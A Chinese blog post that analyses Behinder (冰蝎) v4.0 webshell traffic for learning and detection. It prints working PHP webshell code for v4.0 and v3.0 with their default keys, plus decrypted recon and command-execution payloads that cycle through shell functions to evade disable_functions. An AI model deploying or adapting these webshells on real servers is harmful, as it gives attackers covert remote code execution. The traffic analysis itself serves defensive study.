冰蝎V4.0流量分析到攻防檢測
0x01 前言
最近在改寫 yso,覺得自己基礎太差了,想先閱讀一下 sqlmap、冰蝎以及一些其他工具的開發思路。文章可能寫的不夠嚴謹,有不對的地方還請師傅們多多指出
0x02 環境搭建
這里我看的是 MountCloud 師傅所二開的冰蝎項目,版本是 4.0.2;其實就是通過反編譯搞出來的,但是這里不要用 jd-gui 或者 jadx 這些反編譯,我用的是 MountCloud 師傅自己寫的反編譯工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI
冰蝎項目源碼地址:https://github.com/MountCloud/BehinderClientSource
拿到之后用 maven package 打包一下,運行 jar 包即可,同時要將 data.db 放到 jar 包同一目錄下。

0x03 冰蝎的使用與流量分析
冰蝎的使用
我們看冰蝎的客戶端界面,對于 shell 其實是沒有輸入密碼模塊的,其實在冰蝎當中 shell 是通過傳輸協議配置的。

這一傳輸協議的加密函數是用 Java 寫的,并且 key 是默認的,不需要自己修改,我們點擊生成服務端,則會生成三個 shell 文件,分別為 .php、.aspx 和 .jsp,這里我們起個環境然后連 shell(這里我是用虛擬機的環境,因為一開始用本機起一直 wireshark 抓不到流量,如果踩坑的師傅也歡迎私信和我交流)

我們可以看一下 shell.php(先對 xor_base64 的傳輸協議進行分析,后續分析 xor_base64 這種加密方式的攻防性),代碼如下,此處代碼和 v3.0 的相當不一樣。
v4.0 的代碼
@error_reporting(0);
function decrypt($data)
{
$key="25f9e794323b4538";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
這里的 key 就是對應的連接密碼,當然在冰蝎“傳輸協議”當中,可以自定義密碼。
v3.0 的代碼
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
v3.0 和 v4.0 的區別很明顯在于這里 $_SESSION['k']=$key,v3.0 版本當中會把 key 作為 session 傳入;接著判斷 extension_loaded,也就是判斷服務端是否存在 openssl 拓展,如果不存在就用 base64 解碼,然后使用 key 進行異或加密,這也是冰蝎 v4.0 版本當中的 xor_base64 加密方式;如果服務端能夠加載 openssl 拓展,就使用 AES128 解密,這里對應冰蝎 v4.0 版本當中的 aes 加密方式。
冰蝎流量分析
看了網上一堆分析的文章,都在說冰蝎的通信過程可以分為兩個階段:密鑰協商和加密傳輸
第一階段-密鑰協商
1.攻擊者通過 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的請求服務器密鑰;
2.服務器使用隨機數 MD5 的高16位作為密鑰,存儲到會話的 $_SESSION 變量中,并返回密鑰給攻擊者。
第二階段-加密傳輸
1)客戶端把待執行命令作為輸入,利用 AES 算法或 XOR 運算進行加密,并發送至服務端;
2)服務端接受密文后進行 AES 或 XOR 運算解密,執行相應的命令;
3)執行結果通過 AES 加密后返回給攻擊者。
- ? 但是我自己在分析的過程中并沒有看到這個密鑰協商的過程,同時也沒有看到
$_SESSION變量當中存儲了 md5 的高 16 位,反而$_SESSION變量存儲的是一個 26 位的字符。不知道這里是我的問題還是冰蝎 4.0 版本就是如此。
我先選取的是 xor_base64 的加密方式,我在連上馬之后還執行了 whoami 命令,如果不算上自己的命令執行,一共是兩組流量,我們來分析一下。

第一段代碼,經過 xor_base64 的解密,得到如下代碼
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start();
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
$content=base64_decode($content);
main($content);
我個人傾向于是認為冰蝎 V4.0 版本當中,這一個包涵蓋了密鑰協商的部分,并且在這一個包之后重置了 $_session,而 msg 和第一個包里的 content 是相同的,所以我認為這一部分其實也在做密鑰協商(后來看了冰蝎作者的文章,果然如此)
接著我們往下看相應報文,相應報文經過 xor_base64 解密之后結果如下
{
"status":"c3VjY2Vzcw==",
"msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg=="
}
經過 base64 解密,status 對應的是 success,證明能夠收到這個包,并且和前面對照上。

繼續分析下一個包,代碼如下,這里就進行了命令執行
error_reporting(0);
function main($whatever)
{
$result = array();
ob_start();
phpinfo();
$info = ob_get_contents();
ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){
for($i=65;$i<=90;$i++) {
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
} else {
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info.""."currentPath=".$currentPath.""."driveList=".$driveList;
$osInfo=PHP_OS;
$arch="64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
}
$localIp=gethostbyname(gethostname());
if ($localIp!=$_SERVER['SERVER_ADDR']) {
$localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
}
$extraIps=getInnerIP();
foreach($extraIps as $ip) {
if (strpos($localIp,$ip)===false) {
$localIp=$localIp." ".$ip;
}
}
$basicInfoObj=array(
"basicInfo"=>base64_encode($info),
"driveList"=>base64_encode($driveList),
"currentPath"=>base64_encode($currentPath),
"osInfo"=>base64_encode($osInfo),
"arch"=>base64_encode($arch),
"localIp"=>base64_encode($localIp));
//echo json_encode($result);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result));
}
function getInnerIP()
{
$result = array();
if (is_callable("exec"))
{
$result = array();
exec('arp -a',$sa);
foreach($sa as $s)
{
if (strpos($s,'---')!==false) {
$parts=explode(' ',$s);
$ip=$parts[1];
array_push($result,$ip);
}
//var_dump(explode(' ',$s));
// array_push($result,explode(' ',$s)[1]);
}
}
return $result;
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLcHpvVVdzMXZmUXM5NkhMVFVUNGhpQ3NXZWVYTFk1TnJOdHZNVEFXcTlMYUhFOHRoRUhzaXpBQldnaWtYUkhweDc1b2pvWWpyTUJOMkxvNmpuNWRndDVDSTNJc2I4dHpUdHF3dG5yRGxYNTlHNEtyS0NMSUw3Ym9lQk9mWjJldnlQSk5Jc2RCOU9SRVVUSGk0Q1NLaFJjNkJpcUZGMVM0MWVDcFdtaEpYT2hEaHVkdnNMUUNPbzREQ3pKekhjdG5KZXBuemJ0YkE1TU50bXhWTUNoOUM5dm5VMDNZM3IyRFBOZVJqeUd0b0t2ZFdhWk5ETU96WHEzdmFQQmFobXdNcTBvdVlyanlPZmVaRVNMYXhwWlFlVWtvendGOTlUaGJaUTZVVU82dVFZVEVMUHJJWnFYeFRVbXNhaGxqZnFmZmJGbVBIbGxQSlNaSmtpRnNORkM3UFRNbjFoOFlmUUYwVm1RNW1oMXVlbllTNEd4NXB4UVNHV2lzTE1UaFpaTUJNeHZlRldGZ2E3ZHA1MDA3ZXhHbG5rUEZjZ21jZjJFUktDUDdkajlNQVk5OHdEOXhkQVBkQTZhQ2ozeERja2VFZzZVWnhaMmQ5ZzF2c1BmdWRPbkZJSTc3MnJuSFE0emxDSllFSGxXQmVWeXhycjRkRHNzdkFKZTBRT2U4VXpoYkJ5YjhzOXpvZU54dm00S2VhY1R2QUdhalBBUFBSZlV3dDZwbnhxdjF3ZjVKZEhOSmxvRXJERWNIRTYyQWZmSGZseXNqbXBOVHZ4WGFJTE9WdTBHRUlpUXA1ZU4xOUluTktMc2huZnNSR0hBUjh3aWFyZ2MwVElCYmwyZG9lVmt4Qm5seGl6QmlyODBqZDlrR3pacHhncGUyTlpGVHNMdlR3WFZlZHduWVlMeVF5TjNORFpNdWVhVE9ZemJQT2VaZ2g1d3VSZEtjYUtEQUhCYmozd0lOeW1vd3Y0eGJ6cGtuUmZGUDlrOVA1MFdKT0FrbUVvUXE2TW1KdlNXWmw1ZzB4YmNValVDeDI1WHFwd3FLa1J4UTFZR24xM3NoVWhzY3Z6aHBqVzA4SUsweGFLTW5QNDY5RXB5VkF0RUpYYXpZem81aXpzVVRqcmxBRktoZnNKclZkR2ZRZFVxTmJQZnV3R2JqZVBpWXVOUThmVW0yOEszaFJXV3RtWkFXQ0JCeHRGQk1BQlg5ZmxVQktZUnc2cHd6dDRIMzY4N0NobW9JSE5QQ2QwUjQzdkx1aEM2SmdFSUZkZXVpRjUxODFZVVZFQWF1WU82bmxiOEo2RnBEU0Q0SHVsNDYyQXBRQzF6N0JEZ0c3aklhQWNkNWhGT0k0bFBxQXc2S0ZCUWE5QVM5NktWSVRDajFMN1dYSFZKZ01XN005RThyeFRBaXlseWJreFV1b256VWlNS0lBU2wwZkVjcjNZTFVrUTFtQUxKb2ZJc0s4SjllZG9Ca0RXWWY4eEJ1VVJLTVJLaGtYdm52cU5ySmx4MlJmbmtwQlV2QmVWYVZvbzlOeXB6Q0NTVmpZM2RYdlVUdk9FbUdldHJ4eU5kZTNoQ1FlMmduckRVM1F1andxN1NKTURVRld3YVBueHRlRnR3V2FScTY2WlRURHpIRHNDUkF3UDdnUkNSNGZKaHJzZmlINXRWcGpvdWprZlc4Zk93UUFYYVV2V3VaakRwMVFWTWRBN2JXMGZIbU1QNkdXb2VDeFZiWUdOSDV1OTluejRxNUM3emliVDMzNkVSWnRIUVh2M0s1ZW5BcEgyNkwyZlBYaUJtaU1zcHZMOGloeFlWdTJtRE9aOTdKc2drYnRqNGZLSWNnSEJtOUZxbmFTWmVoblNjVURnY3o2RDE1RmxkZjM2bnptQWtaSW1WR083enplakQ4cFpDUXBGdTZtMkRIVk51NG8xcEJOZVhLZXVNSjd6VVIyM1VuOElVVDlKUHZQeE0yZk5EZ09yUEJXczdwSHk0TklHbFRJbGZWZ0tGTFBnNVZTWmZaOXhaTnpQVm9kWUZDS1RwWlNSUGtCS2NqcWFyeEhSanRHTkZveXh2M0poRjhDdkN0emFuTlM2OHp5WTQyekIzM0NXNmdGeGdvaFdMVkJiVUlES3RsVWhGdDBTZnZ3bDlEZDdIWFdmbXFjcFZpWmNxRE1mcWVXaVg3STh6YzNxY3dscHlzVFNsSVl5anZGc2hhREFNWTZsNG1qMFdsRHppZHhFOXpldmtPeFpETzlheVBJOWJlbWxDNmk4WUppR1dnRTNqclI0ZUw0T0xncEJNQnZyS0RUckF2QTNnUXdyTU9iOHFhZzJ1VzFXRHhMQ0ZRRktNWGVVYjJhcFhDRjMyQkIzRzBpU1VBVGJMSVBpeEltOHBVakRMazkyZDBkR29heEVPeWl4U1ZjWENEampLaHBFVm13NkFQQTI0VUNpUFd1TVR5S21aTTFnNUszdzd0SjFuNzNhV200RFE0OG9Oakhmbm81Y0FPT05uWlAyVE9SWGJibFFYb1VPcW5idXFCRmlrQTJRVnQwazdBYkdmbWp0Z01Bbk5xODFUUEpOVzdvYzNTbDBFYUNLOEpCMTNialBTam5hdkZSdU5vNWxpWkhZSTlMOWNBRkdhMDhDMUhlYXpFR0plalhINjJNMUo3NlphNnNZT1hLN202d05wZnhTVTh5WGlPSG1GNlVPVVNJdHVGVWFMcW1Td00yMTFrbFdFTG40cEREQ3Ftd3NMZEpiV2szOE5FZXh5QW9kSmV0dDVuWlVKdlNXVFF1VVE0WVJRWlR3V2ZEaGZxTGI2RzRKaEtXYmFIYUdIaGtrQWk5Wm9Rbkx4RUVVdGJCSjJjVmNwMjhKRVNKMGpSSFNZYU83ek1US3Z3ZVlGN0ZTMk5hUlhBOUx1NkFjemxCYTNraXd6TEZmNlZrWEM5WVVCVURTVkhmdHVrTDNOWnRxVlB2R2dUZGpNVzJLTzFFcXpIVHBXblVpejU2MXNRTjNNa25UUWh5V2xVcFZOeFpmN1hBR0IwMnJVSk1yczVQblhZMXpadDhqbmF4d2h3amVWYnpiZ3FYc0ZBeXAydkpCbGtnVUg2NzRjQ3J4OUM0YzdTdW96bkZVOVZBeGJlekNRc2VqMElSNkxyQlNmZkNwYkwycjJLN0xBWTZFTnNiQjh3bFBuM1dvMTA4Y2IzcHNGT0Q3dzROcHNsSHZpc0szZVZVQ0psRm93RjdZSk5JQzVITWVZRmtjaEtkS1dDUUdOT3RwaDh3";
$whatever=base64_decode($whatever);
main($whatever);
- ? 這里我不太明白傳入的
$whatever是做什么的,感覺沒什么用,這個腳本本質上還是在運行phpinfo()的命令執行。
把相應包解密出來,內容如下
{
"status":"c3VjY2Vzcw==",
"msg":"xxx略,篇幅太長"
}
把這一串 msg 內容放到 base64 解密,不難發現響應內容其實就是 phpinfo() 的命令回顯。


至于后面的命令執行部分,是比較好分析的
把流量包提取出來,進行解密
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
